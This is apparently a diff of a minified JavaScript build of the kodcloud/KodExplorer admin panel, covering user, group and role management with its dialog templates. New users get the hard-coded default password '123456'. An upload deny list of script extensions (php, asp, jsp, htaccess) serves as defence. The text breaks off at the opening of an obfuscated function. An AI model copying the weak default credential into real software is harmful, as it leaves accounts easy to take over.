t=e("./systemMember"),a=e("./systemGroup"),i=e("./systemRole"),n=e("./systemGroupRole"),o=function(){s("system-group"),r(),n.init(function(){i.init(),a.init()})},s=function(e){$(".system-content .this").removeClass("this"),$(".system-content #"+e).addClass("this"),$(".left-content").addClass("hidden"),$("."+e).removeClass("hidden"),$(".right-frame").addClass("hidden"),$("#content-"+e).removeClass("hidden")},r=function(){$(".left-header .tab").die("click").live("click",function(){var e=$(this).attr("id");s(e)})},l=function(e){e.each(function(){var e=core.userSpaceHtml($(this).html());$(this).html(e)})},c=function(e){var t=G.userPath+e.path+"/home/";e.groupID&&(t=G.groupPath+e.path+"/home/"),e.homePath&&(t=e.homePath),window.parent&&window.parent.core&&window.parent.core.isApp("explorer")?(window.parent.ui.path.list(t),Tips.tips(LNG.system_open_true_path,!0)):core.explorer(t)};return{init:o,sizeUse:l,openPath:c,dataList:core.tools.systemData,systemMember:t,systemGroup:a,systemRole:i,systemGroupRole:n}}),define("app/src/setting/system/systemMember",[],function(e){var t,a,i=function(e){return void 0!=t?(n(e),void 0):($.ajax({url:G.appHost+"systemMember/get",dataType:"json",success:function(a){return a.code?(t=System.dataList(a,"member"),n(e),void 0):(Tips.tips(a),void 0)},error:function(){return!1}}),void 0)},n=function(i){(""==i||void 0==i)&&(i=a),a=i;var n=e("./tpl/userList.html"),o=template.compile(n),s=o({LNG:LNG,selectGroup:i,userList:t,groupRoleList:System.systemGroupRole.getList(),groupList:System.systemGroup.getList(),roleList:System.systemRole.getList()});$(".user-list-content").html(s),$(".button-aciton-muti button").addClass("disabled"),System.sizeUse($("#content-system-group .user-list-cell .space"))},o=function(e,n,o){if(void 0!=n){"object"!=typeof n&&(n=[n]);var s={del:LNG.system_member_remove_tips,statusSet:"",roleSet:LNG.system_member_set_role,groupReset:"",groupRemoveFrom:LNG.system_member_remove_group,groupAdd:""},r=function(){$.ajax({url:G.appHost+"systemMember/doAction&action="+e,type:"POST",data:"userID="+jsonEncode(n)+"¶m="+o,dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),$.dialog.list["share-dialog"]&&$.dialog.list["share-dialog"].close(),t=void 0,i(a)}})};""==s[e]?r():$.dialog({id:"dialog-user-confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:s[e],ok:function(){r()},cancel:!0})}},s="write",r=function(e){u(c(e))},l=function(e){u(c(e),!0)},c=function(e){var t={1:s};return t[e]=s,{userID:"",name:"",password:"123456",role:"default",groupInfo:t,config:{sizeMax:"2",sizeUse:"0"}}},d=function(){var e=1073741824*parseFloat($(".size-max-set input").val()),t=pathTools.fileSize(e);0==e||isNaN(e)?$(".size-max-set i").html(LNG.space_tips_default):$(".size-max-set i").html(t)},p=function(){var e=System.systemGroup.getList(),t=System.systemGroupRole.getList(),a=jsonDecode($("#group-info-list").attr("value")),i="";for(var n in a)if(e[n]){var o=a[n];o="read"==o?"1":o,o="write"==o?"2":o;var s=t[o]?t[o]:t["1"];i+=''+e[n].name+""}$(".dialog-group-display .cell").html(i+'
        ')},u=function(n,s){var r=System.systemRole.getList(),l=e("./tpl/user.html");s&&(l=e("./tpl/userImport.html"));var c=template.compile(l),u=c({LNG:LNG,userInfo:n,roleList:r}),h=$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:u});d(),System.sizeUse($(".share-view-info")),$("#group-info-list").val(jsonEncode(n.groupInfo)),$(".dlg-group-select").unbind("click").bind("click",function(){f($("#group-info-list").val(),function(e){$("#group-info-list").val(e),p()})}),p(),$(".input-line #name").textFocus();var m=G.appHost+"systemMember/add";s?m=G.appHost+"systemMember/add&isImport=1":""==n.name?$(".share-action .remove-button").hide():m=G.appHost+"systemMember/edit&userID="+n.userID,$("#system-save").unbind("click").bind("click",function(){v()}),$(".select-drop-menu a").unbind("click").bind("click",function(){$(this).parent().parent().find("a").removeClass("selected"),$(this).addClass("selected"),$(".select-drop-menu .role_title").html($(this).html()),$("#role").val($(this).attr("data-role-id"))}),$(".remove-button").unbind("click").bind("click",function(){o("del",n.userID,"")}),$(".dialog-goto-path").unbind("click").bind("click",function(){System.openPath(n)}),$(".content-box input").keyEnter(function(){v(!0)}),$("#system-save-and-add").unbind("click").bind("click",function(){v(!0)}),$(".user-setting-more-btn").unbind("click").bind("click",function(){$(".user-setting-more").toggleClass("hidden")}),$(".select-path a.select-btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select-path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select-path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var v=function(e){s&&(e=!1);var o={};$(".share-dialog .content-info [name]").each(function(){var e=urlEncode($(this).val());""!=e&&(o[$(this).attr("name")]=e)}),$.ajax({url:m,data:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(o){return Tips.close(o),o.code||"version_error"!=o.info?o.code?(t=void 0,i(a),s?h.close():""!=n.name||1!=e?h.close():$(".input-line #name").val("").textFocus(),void 0):(s&&$("#name").val(o.info),void 0):($.dialog({content:o.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},f=function(t,a){var i=System.systemGroup.getListTree(),n=System.systemGroup.getList();t=jsonDecode(t),$.isArray(t)&&(t={});var o={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).after('').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data-group-id",t.id)}},callback:{onClick:function(e,a,i){t||(t={}),$("#"+i.tId+"_a").hasClass("this")?delete t[i.id]:t[i.id]=s,c()}}},r=function(){var e=$("#user-group-select");$.fn.zTree.init(e,o,i);var t=$.fn.zTree.getZTreeObj("user-group-select");t&&t.expandAll(!0)},l=function(){var i=e("./tpl/groupSelect.html"),n=template.compile(i),o=n({LNG:LNG});$.dialog({id:"select_usre_group_dlg",title:LNG.system_member_group_edit,padding:"0",width:540,lock:!0,background:"#fff",opacity:.1,fixed:!0,content:o,ok:function(){a(jsonEncode(t))},cancel:!0}),r()},c=function(){var e="";$("#user-group-select .curSelectedNode").removeClass("curSelectedNode"),$("#user-group-select a[data-group-id]").removeClass("this");var a=function(e){var t=System.systemGroupRole.getList();e="read"==e?"1":e,e="write"==e?"2":e;var a=t[e]?t[e]:t["1"],i="";var r='
        '+i+"
        ";return r};for(var i in t)n[i]&&($("#user-group-select a[data-group-id="+i+"]").addClass("this"),e+='
      • '+' '+n[i].name+""+' '+a(t[i])+"
      • ");$(".select-group-right").html(e)},d=function(){$(".right-content .group-self .remove").die("click").live("click",function(){var e=$(this).parent().attr("group-id");delete t[e],c()}),$(".group-self .dropdown-menu li").die("click").live("click",function(){var e=$(this).attr("data-info"),a=$(this).parent().attr("data-current"),i=$(this).parent().parent().parent().attr("group-id");a!=e&&(t[i]=e,c())})};l(),c(),d()},h=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},m=function(){$("body").click(h).contextmenu(h),$.contextMenu({zIndex:9999,selector:".user-action-menu",items:{"user-list-edit":{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------","user-remove":{name:LNG.remove,icon:"trash",accesskey:"d"},"user-status-close":{name:LNG.system_member_unuse,icon:"",accesskey:"c"},"user-status-open":{name:LNG.system_member_use,icon:"",accesskey:"o"},sep2:"--------","group-remove-from":{name:LNG.system_member_group_remove,icon:"",accesskey:"g"},"group-add":{name:LNG.system_member_group_insert,icon:"",accesskey:"a"},"group-reset":{name:LNG.system_member_group_reset,icon:"",accesskey:"i"}},callback:function(e,t){var a=t.$trigger.attr("data-id");$("#content-system-group .group-id").html();var i=[a];g(e,i,"")}})},v=function(){$(".size-max-set input").live("input",d),$("#content-system-group .content [data-action]").live("click",function(e){if(!$(e.target).is("input")){var t=$(this),a=t.attr("data-action"),i=[];if($("#content-system-group .user-select:checked").each(function(){i.push($(this).parent().parent().attr("data-id"))}),"user-list-edit"==a){var n=t.parent().parent().attr("data-id");i=[n]}return g(a,i,t,e),!0}})},g=function(e,a,i,n){var s=$("#content-system-group .group-id").html();switch(e){case"user-add":r(s);break;case"user-import":l(s);break;case"group-remove-from":o("groupRemoveFrom",a,s);break;case"group-add":f("{}",function(e){o("groupAdd",a,e)});break;case"group-reset":f("{}",function(e){o("groupReset",a,e)});break;case"role-set":var c=i.attr("data-role-id");o("roleSet",a,c);break;case"user-status-open":o("statusSet",a,1);break;case"user-status-close":o("statusSet",a,0);break;case"user-remove":o("del",a,"");break;case"user-list-select":var d=i.find(".user-select");d.attr("checked")?d.removeAttr("checked"):d.attr("checked","true"),b();break;case"user-list-edit":u(t[a[0]]),stopPP(n);break;default:}},b=function(){$("#content-system-group .user-select:checked").length>=1?$(".button-aciton-muti button").removeClass("disabled"):$(".button-aciton-muti button").addClass("disabled"),$("#content-system-group .user-list-cell ").removeClass("selected"),$("#content-system-group .user-select:checked").each(function(){$(this).parent().parent().addClass("selected")})},y=function(){$("#content-system-group .user-select-set").live("click",function(){$(this).attr("checked")?$("#content-system-group .user-select").attr("checked","true"):$("#content-system-group .user-select").removeAttr("checked"),b()}),$("#content-system-group .user-select").live("click",function(){b()})};return y(),v(),m(),{resetUserList:n,userDefaultData:c,resetList:function(){t=void 0},loadList:i,add:r}}),define("app/src/setting/system/tpl/userList.html",[],'
        \n
        \n \n \n \n
        \n \n
        \n \n \n
        \n\n
        \n \n \n \n
        \n
        \n
        \n \n \n \n \n \n \n \n \n \n {{each userList v i}}\n {{if v && (selectGroup==\'1\' || v.groupInfo[selectGroup]) }}\n \n \n \n \n \n \n \n {{/if}}\n {{/each}}\n \n
        {{LNG.username}}{{LNG.system_member_role}}{{LNG.space_size_use}}{{LNG.system_member_group}}
        \n {{if v.userID!=\'1\'}}{{/if}}\n \n {{v.name}}\n {{v.userID}}\n {{roleList[v.role]}}{{v.config.sizeUse}}/{{v.config.sizeMax}}\n {{each v.groupInfo groupRoleID groupID}}\n {{if groupList[groupID]}} \n {{if groupRoleID = groupRoleID == "read" ? "1":groupRoleID}}{{/if}}\n {{if groupRoleID = groupRoleID == "write" ? "2":groupRoleID}}{{/if}}\n {{if groupRoleList[groupRoleID]? "":groupRoleID="1" }}{{/if}}\n {{if groupRoleInfo = groupRoleList[groupRoleID]}}{{/if}}\n \n {{groupList[groupID][\'name\']}}\n \n {{else}}\n \n {{/if}}\n {{/each}}\n
        \n
        \n\n\n'),define("app/src/setting/system/tpl/user.html",[],'
        \n
        \n
        \n {{if !userInfo.name}}\n {{LNG.system_member_add}}\n {{else}}\n {{userInfo.name}} \n {{/if}}\n
        \n {{if userInfo.name}}\n \n {{/if}} \n
        \n
        \n
        \n {{LNG.username}}:\n \n {{if userInfo.name}}\n \n \n \n {{else}}\n {{LNG.username}}\n {{/if}}\n
        \n
        \n
        \n {{LNG.password}}:\n \n {{if userInfo.name}}{{LNG.system_member_password_tips}}{{/if}}\n
        \n
        \n
        \n {{LNG.space_size}}:\n \n \n
        \n
        \n
        \n {{LNG.system_member_role}}:\n \n
        \n \n \n
        \n\n \n {{LNG.more}}\n
        \n
        \n\n
        \n
        \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
        \n
        \n
        \n\n
        \n {{LNG.system_member_group}}:\n \n
        \n
        \n \n
        \n
        \n
        \n
        \n\n \n
        \n'),define("app/src/setting/system/tpl/userImport.html",[],'
        \n
        \n
        \n {{LNG.system_member_import}}\n
        \n
        \n
        \n
        \n {{LNG.username}}:\n \n {{@LNG.system_member_import_desc}}\n
        \n
        \n
        \n {{LNG.password}}:\n \n
        \n
        \n
        \n {{LNG.space_size}}:\n \n \n
        \n
        \n
        \n {{LNG.system_member_role}}:\n \n
        \n \n \n
        \n\n \n {{LNG.system_member_role}}\n
        \n
        \n
        \n {{LNG.system_member_group}}:\n \n\n
        \n
        \n \n
        \n
        \n
        \n
        \n\n \n
        \n'),define("app/src/setting/system/tpl/groupSelect.html",[],'
        \n
        \n
        \n {{LNG.system_group_select}}:\n {{LNG.system_group_select_result}}:\n
        \n
        \n
        \n
        \n
          \n
          \n
          \n
          \n
          \n'),define("app/src/setting/system/systemGroup",[],function(e){var t,a,i,n,o=function(){p(),c(),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),$(".menuGroup").die("mouseenter").live("mouseenter",function(){$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}),G.isRoot||$("[data-action=group-home").addClass("hidden")},s={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!0,addDiyDom:function(e,t){var a=12,i=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(i).before(''+core.iconSmall("group-guest")+"").remove(),t.level>=1){var o="";i.before(o)}$("#"+e+" #"+t.tId+"_a").addClass("menuGroup").append("").attr("data-group-id",t.id)}},callback:{onClick:function(e,t,a){r(t,a.id)},beforeRightClick:function(e,t){r(e,t.id)}}},r=function(e,a){if("folder-list-tree"==e){n=a;var i=t.getNodeByParam("id",a,null);t.selectNode(i),y(a)}else"group-parent-select"==e&&($("input[name=parentID]").val(a),$(".select-group").addClass("hidden"),v())},l=function(e){var t=function(e){for(var a=0;e.length>a;a++)void 0!=e[a]?(e[a].pid=e[a].parentID,e[a].id=e[a].groupID,delete e[a].children,delete e[a].parentID,delete e[a].groupID,e[a].child&&(e[a].children=e[a].child,delete e[a].child,t(e[a].children))):delete e[a]},a=[],i=$.extend(!0,{},e);for(var n in i){var o=i[n],s=o.parentID;if(i[s])i[s].child||(i[s].child=[]),i[s].child.push(i[o.groupID]);else{var r=i[o.groupID];r&&a.push(r)}}return t(a),a},c=function(){$.ajax({url:G.appHost+"systemGroup/get",dataType:"json",error:function(){$("#folder-list-tree").html('
          '+LNG.system_error+"
          ")},success:function(e){return e.code?(i=System.dataList(e,"group"),a=l(i),$.fn.zTree.init($("#folder-list-tree"),s,a),t=$.fn.zTree.getZTreeObj("folder-list-tree"),t.expandAll(!0),void 0==n&&(n="1"),r("folder-list-tree",n),0!=$("#group-parent-select").length&&g(),void 0):($("#folder-list-tree").html('
          '+LNG.system_error+"
          "),void 0)}})},d=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},p=function(){$("body").click(d).contextmenu(d),$.contextMenu({zIndex:9999,selector:".menuGroup",items:{"add-child":{name:LNG.system_group_add,icon:"plus",accesskey:"u"},edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------","add-user":{name:LNG.system_member_add,icon:"user",accesskey:"g"},sep2:"--------",remove:{name:LNG.remove,icon:"remove-sign",accesskey:"r"}},callback:function(e,a){var i=a.$trigger.attr("id");i=i.replace("_a","");var n=t.getNodeByTId(i);switch(e){case"add-child":var o=u();o.parentID=n.id,b(o);break;case"edit":var o=u(n.id);b(o);break;case"add-user":System.systemMember.add(n.id);break;case"remove":h(n.id);break;default:}}}),$(".sub-menu").die("click").live("click",function(e){$(this).contextMenu({x:e.pageX,y:e.pageY})})},u=function(e){return void 0==e?f():i[e]},f=function(){return{groupID:"",name:"",parentID:"",children:"",config:{sizeMax:"0",sizeUse:""},path:"",createTime:""}},h=function(e,a){var i=t.getSelectedNodes()[0],n=i.getParentNode(),o=G.appHost+"systemGroup/del&groupID="+e;$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:LNG.system_group_remove,padding:30,width:300,lock:!0,background:"#000",opacity:.3,content:LNG.system_group_remove_tips,ok:function(){$.ajax({url:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){Tips.close(t),System.systemMember.resetList(),r("folder-list-tree",n.id),c(),"function"==typeof a&&a(e)}})},cancel:!0})},m=function(){var e=1073741824*parseFloat($(".size-max-set input").val()),t=pathTools.fileSize(e);0==e||isNaN(e)?$(".size-max-set i").html(LNG.space_tips_default):$(".size-max-set i").html(t)},v=function(){var e=$("#group-parent-select"),t=$("input[name=parentID]").val();if(e.find("a.menuGroup").removeClass("curSelectedNode"),""==t)return $(".select-parent-content .group-title").html("is root"),!1;var a=u(t);return $(".select-parent-content .group-title").html(a.name),e.find("a[data-group-id="+t+"]").addClass("curSelectedNode"),!0},g=function(){var e=$("#group-parent-select");$.fn.zTree.init(e,s,a);var t=$.fn.zTree.getZTreeObj("group-parent-select");t&&t.expandAll(!0),v()&&$(".select-parent-content .btn").unbind("click").bind("click",function(){$(".select-group").toggleClass("hidden")})},b=function(t){var a=e("./tpl/group.html"),i=template.compile(a),n=i({LNG:LNG,groupInfo:t}),o=$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:n}); -m(),System.sizeUse($(".share-view-info")),g(),$(".input-line #name").textFocus();var s=G.appHost+"systemGroup/add";if(""!=t.name)var s=G.appHost+"systemGroup/edit&groupID="+t.groupID;$("#system-save").unbind("click").bind("click",function(){r()}),$(".dialog-goto-path").unbind("click").bind("click",function(){System.openPath(t)}),$(".remove-button").unbind("click").bind("click",function(){h(t.groupID,function(){o.close()})}),$(".content-box input").keyEnter(function(){r(!0)}),$("#system-save-and-add").unbind("click").bind("click",function(){r(!0)}),$(".user-setting-more-btn").unbind("click").bind("click",function(){$(".user-setting-more").toggleClass("hidden")}),$(".select-path a.select-btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select-path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select-path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var r=function(e){var a="";$(".share-dialog .content-info input[name]").each(function(){var e=urlEncode($(this).val());""!=e&&(a+="&"+$(this).attr("name")+"="+e)}),$.ajax({url:s,data:a,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){return Tips.close(a),a.code||"version_error"!=a.info?(a.code&&(c(),""!=t.name||1!=e?o.close():setTimeout(function(){$(".input-line #name").val("").textFocus()},200)),void 0):($.dialog({content:a.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},y=function(e){var t=u(e);t&&($(".group-title .group-title-span").html(t.name),$(".group-size").html(t.config.sizeUse+"/"+t.config.sizeMax),$("#content-system-group .group-id").html(e),System.sizeUse($(".group-size")),System.systemMember.loadList(e))},k=function(){$(".size-max-set input").live("input",m),$("#content-system-group .header-content [data-action]").live("click",function(){var e=$(this).attr("data-action"),t=$("#content-system-group .group-id").html(),a=u(t);switch(e){case"group-edit":b(a);break;case"group-home":System.openPath(a);break;case"group-add-child":var i=u();i.parentID=t,b(i);break;default:}})};return k(),{init:o,getGroupInfo:u,groupDefaultData:f,getListTree:function(){return a},getList:function(){return i}}}),define("app/src/setting/system/tpl/group.html",[],'
          \n
          \n
          \n {{if !groupInfo.name}}\n {{LNG.system_group_create}}\n {{else}}\n {{groupInfo.name}}\n {{/if}}\n
          \n {{if groupInfo.name}}\n \n {{/if}}\n
          \n
          \n
          \n {{LNG.system_group_name}}:\n \n {{if groupInfo.name}}\n \n \n \n {{else}}\n {{LNG.name}}\n {{/if}}\n
          \n
          \n
          \n {{LNG.space_size}}:\n \n \n
          \n
          \n
          \n {{LNG.system_group_father}}:\n \n \n \n
          \n
          \n\n
          \n  \n {{LNG.more}}\n
          \n
          \n
          \n
          \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
          \n
          \n
          \n
          \n\n \n
          \n\n'),define("app/src/setting/system/systemRole",[],function(){var e,t,a=function(){$.ajax({url:G.appHost+"systemRole/get",dataType:"json",async:!1,success:function(a){return a.code?(e=a.data,i(),void 0==t&&(t="1"),n(t),void 0):(Tips.tips(a),void 0)}})},i=function(){var t="";$.each(e,function(e,a){t+='
        • '+""+a.name+'
        • '}),t+='
        • ',$(".role-list-cell").html(t)},n=function(a){var i;t=a,$(".system-role li.role-cell").removeClass("select"),$(".system-role [data-role-id="+a+"]").addClass("select"),$("#content-system-role [data-action=role-delete]").show(),$("#content-system-role .group-title .label-info").show(),"0"==a?(i={name:"",extNotAllow:"htm|html|php|phtml|pwml|asp|aspx|ascx|jsp|pl|htaccess|shtml|shtm|phtm"},$("#content-system-role [data-action=role-delete]").hide(),$("#content-system-role .group-title .label-info").hide(),$("#content-system-role .role_title").html(LNG.system_role_add)):(i=e[a],$("#content-system-role .role_title").html(i.name),$("#content-system-role .role-id").html(a)),$(".group-editor #name").val(i.name).textFocus(),$(".group-editor #extNotAllow").val(i.extNotAllow),$(".group-editor .tag").removeClass("this"),$(".group-editor input").removeAttr("checked"),$(".group-editor .tag").each(function(){var e=$(this),t=e.attr("data-role");t=t.split(";"),t=t[0],i[t]&&(e.addClass("this"),e.find("input").attr("checked",!0))})},o=function(){if(!G.isRoot)return Tips.tips(LNG.group_role_error,"warning"),void 0;var e=$(".group-editor #name").val(),i=$(".group-editor #extNotAllow").val(),n={},o=G.appHost+"systemRole/add";return void 0==i&&(i=""),""==e?(Tips.tips(LNG.not_null,"error"),!1):($(".group-editor .tag.this").each(function(){for(var e=$(this).attr("data-role").split(";"),t=0;e.length>t;t++)n[e[t]]=1}),"1"==t&&n!={}&&(n="postEmpty=1"),"0"!=t&&(o=G.appHost+"systemRole/edit&roleID="+t),$.ajax({url:o+"&name="+urlEncode(e)+"&extNotAllow="+i,data:n,type:"POST",dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=e.info,a(),System.systemMember.loadList(""))}}),void 0)},s=function(e){return G.isRoot?($.dialog({fixed:!0,icon:"question",padding:"30px 40px",drag:!0,title:LNG.warning,content:LNG.if_remove+c(e)+"?
          "+LNG.group_remove_tips,cancel:!0,ok:function(){$.ajax({url:G.appHost+"systemRole/del&roleID="+e,async:!1,dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=void 0,a(),System.systemMember.resetList(),System.systemMember.loadList(""))}})}}),void 0):(Tips.tips(LNG.group_role_error,"warning"),void 0)},r=function(){$(".group-editor .tag").each(function(){$(this).hasClass("this")?($(this).removeClass("this"),$(this).find("input").removeAttr("checked")):($(this).addClass("this"),$(this).find("input").attr("checked",!0)),$(".group-editor .combox:eq(0) .tag:eq(0)").hasClass("this")||($(".group-editor .combox:eq(0) .tag").removeClass("this"),$(".group-editor .combox:eq(0) .tag").find("input").removeAttr("checked")),$(".group-editor .combox:eq(1) .tag:eq(0)").hasClass("this")||($(".group-editor .combox:eq(1) .tag").removeClass("this"),$(".group-editor .combox:eq(1) .tag").find("input").removeAttr("checked"))})},l=function(){$(".group-editor .tag").live("click",function(){var e=$(this);if(select=!1,e.toggleClass("this"),e.hasClass("this")?(select=!0,e.find("input").attr("checked",!0)):(select=!1,e.find("input").removeAttr("checked")),e.parent().hasClass("combox")){var t=e.index();1==t&&0==select&&(e.parent().find(".tag").removeClass("this"),e.parent().find("input").removeAttr("checked")),1!=t&&1==select&&(e.parent().find(".tag:eq(0)").addClass("this"),e.parent().find("input:eq(0)").attr("checked",!0))}}),$(".system-role li.role-cell").live("click",function(){n($(this).attr("data-role-id"))}),$("#content-system-role [data-action]").live("click",function(e){var a=$(this).attr("data-action");switch($(this),a){case"role-delete":s(t);break;case"role-edit-save":o();break;case"revert-all":r();break;default:}stopPP(e)})},c=function(t){var a=e[t];return a?a.name:'null'},d=function(){var t={};return $.each(e,function(e,a){t[e]=a.name}),t};return l(),{init:a,getList:d,setSelect:n}}),define("app/src/setting/system/systemGroupRole",[],function(e){var t,a,i=function(e){n(),p(),"function"==typeof e&&e()},n=function(){$.get(G.appHost+"systemRole/get&group_role=1&action=get",function(e){t=e.data,a=e.info})},o=function(){System.systemMember.resetUserList()},s=function(){var i=e("./tpl/groupRoleSetting.html"),n=template.compile(i),o=n({LNG:LNG,groupRoleData:t,roleDefine:a,style:["blue-deep","blue-nomal","blue-light","grey-deep","grey-nomal","grey-light","yellow-deep","yellow-nomal","yellow-light","green-deep","green-nomal","green-light"]});$.dialog({id:"system-role-group-box",resize:!0,width:700,height:590,title:LNG.system_group_role_title,padding:"0",opacity:.3,background:"#fff",lock:!0,fixed:!0,content:o}),r()},r=function(e){var a="";$.each(t,function(e,t){a+=''+t.name+''}),a+='',$(".group-role-setting .role-list-cell").html(a),void 0==e&&(e="1"),l(e)},l=function(e){var a=t[e],i=$(".group-role-setting"),n=$(".system-group-role-save"),o=$(".system-group-role-remove");i.find(".role-cell").removeClass("select"),i.find("[data-role-id="+e+"]").addClass("select"),n.html(LNG.button_save),o.removeClass("hidden"),a||(a={name:"",style:"blue-deep",display:1,actions:[]},n.html(LNG.button_add),o.addClass("hidden")),i.find("[name=name]").val(a.name),i.find("[name=display]").prop("checked",parseInt(a.display)),i.find(".role-label-display").html(a.name),i.find(".group-role-check .checkbox").prop("checked",!1),$.each(a.actions,function(e,t){1==t&&i.find('[data-role="'+e+'"]').prop("checked",!0)}),d(a.style),c()},c=function(){$(".item-main[data-role-group]").each(function(){$(this).attr("data-role-group"),$(this).next().find(".checkbox").length;var e=$(this).next().find(".checkbox:checked").length;0==e?$(this).find(".checkbox").prop("checked",!1):$(this).find(".checkbox").prop("checked",!0)})},d=function(e){var t=".group-role-setting";$(t).find(".role-style").removeClass("select"),$(this).addClass("select");var a=$(t).find("[name=style]"),i=$(t+" .role-label-display");i.removeClass("label-"+a.val()).addClass("label-"+e),a.val(e)},p=function(){var e=".group-role-setting";$(e).find(".role-cell").die("click").live("click",function(){var e=$(this).attr("data-role-id");l(e)}),$(e).find(".item-main").die("click").live("click",function(){var e=$(this).attr("data-role-group"),t=$(this).find("input").prop("checked");$("[data-role-group="+e+"] .checkbox").prop("checked",t)}),$(e).find(".group-role-check .content .item").die("click").live("click",function(){c()}),$(e).find(".role-style").die("click").live("click",function(){var e=$(this).attr("data-style");d(e)}),$(e).find("[name=name]").die("input propertychange").live("input propertychange",function(){$(e).find(".role-label-display").html($(this).val())}),$(".system-group-role-save").die("click").live("click",function(){var a=$(e).find(".role-cell.select").attr("data-role-id"),i="set";"0"==a&&(i="add");var n={};$(e).find(".group-role-check .content .checkbox").each(function(){var e=$(this).attr("data-role"),t=Number($(this).prop("checked"));n[e]=t});var s={name:$(e).find("[name=name]").val(),style:$(e).find("[name=style]").val(),display:Number($(e).find("[name=display]").prop("checked")),actions:n};$.ajax({url:G.appHost+"systemRole/roleGroupAction&action="+i+"&roleID="+a,beforeSend:function(){Tips.loading()},data:"role_arr="+jsonEncode(s),error:core.ajaxError,success:function(e){if(Tips.close(e),e.code){t=e.info,o();var n=a;"add"==i&&(n=e.data[0]),r(n)}}})}),$(".system-group-role-remove").die("click").live("click",function(){var t=$(e).find(".role-cell.select").attr("data-role-id");return"1"==t||"2"==t?(Tips.tips(LNG.default_user_can_not_do,"warning"),void 0):(u(t),void 0)})},u=function(e){$.dialog({id:"dialog-user-confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:LNG.system_group_role_remove,ok:function(){$.ajax({url:G.appHost+"systemRole/roleGroupAction&action=del&roleID="+e,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&(t=e.info,r(),o())}})},cancel:!0})};return{init:i,showBox:s,getList:function(){return t}}}),define("app/src/setting/system/tpl/groupRoleSetting.html",[],'\n
          \n
          \n
          \n
          \n
          \n
          \n
          {{LNG.name}}:
          \n
          \n \n
          \n
          \n
          \n
          {{LNG.system_group_role_style}}:
          \n
          \n \n \n \n
          \n \n
          \n
          \n
          {{LNG.system_group_role_display}}:
          \n
          \n \n
          \n
          \n \n
          \n
          \n
          {{LNG.permission}}:
          \n
          \n {{each roleDefine value key}}\n
          \n \n
          \n\n
          \n {{each value valueAction keyItem}}\n
          \n \n
          \n {{/each}}\n
          \n {{/each}}\n
          \n
          \n\n \n
          \n
          \n \n \n
          \n
          \n
          \n
          \n\n
          \n
          \n'); \ No newline at end of file +/*! power by kodcloud ver4.30(2018-07-05) [build 1530795186808] */ +define("app/src/setting/main",["lib/jquery-lib","lib/artDialog/jquery-artDialog","lib/util","lib/contextMenu/jquery-contextMenu","../../common/core","../../common/tpl/upload.html","../../common/tpl/formMake.html","../../common/core.tools","../../common/core.upload","../../common/core.api","../../common/core.playSound","../../common/core.formMake","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../common/tpl/copyright.html","../../common/tpl/themeDIY.html","./fav","./setting","./page/about.html","./page/fav.html","./page/help.html","./page/member.html","./page/system.html","./page/theme.html","./page/user.html","./page/wall.html","./system/systemSetting","./system/system","lib/ztree/ztree","./system/systemMember","./system/tpl/userList.html","./system/tpl/user.html","./system/tpl/userImport.html","./system/tpl/groupSelect.html","./system/systemGroup","./system/tpl/group.html","./system/systemRole","./system/systemGroupRole","./system/tpl/groupRoleSetting.html"],function(a,b,c){a("lib/jquery-lib"),a("lib/artDialog/jquery-artDialog"),a("lib/util"),a("lib/contextMenu/jquery-contextMenu"),core=a("../../common/core"),core.init(),Fav=a("./fav"),Setting=a("./setting"),a("./system/systemSetting"),System=a("./system/system"),$(document).ready(function(){$(".init-loading").fadeOut(450).addClass("pop_fadeout"),core.init(),Setting.init()})});;;;;;!function($){!function($,n,t,i,r,o,e,c,f,a,u,v,d,s,O,E,h,C,l,p,A,I,G,g,P,N,T,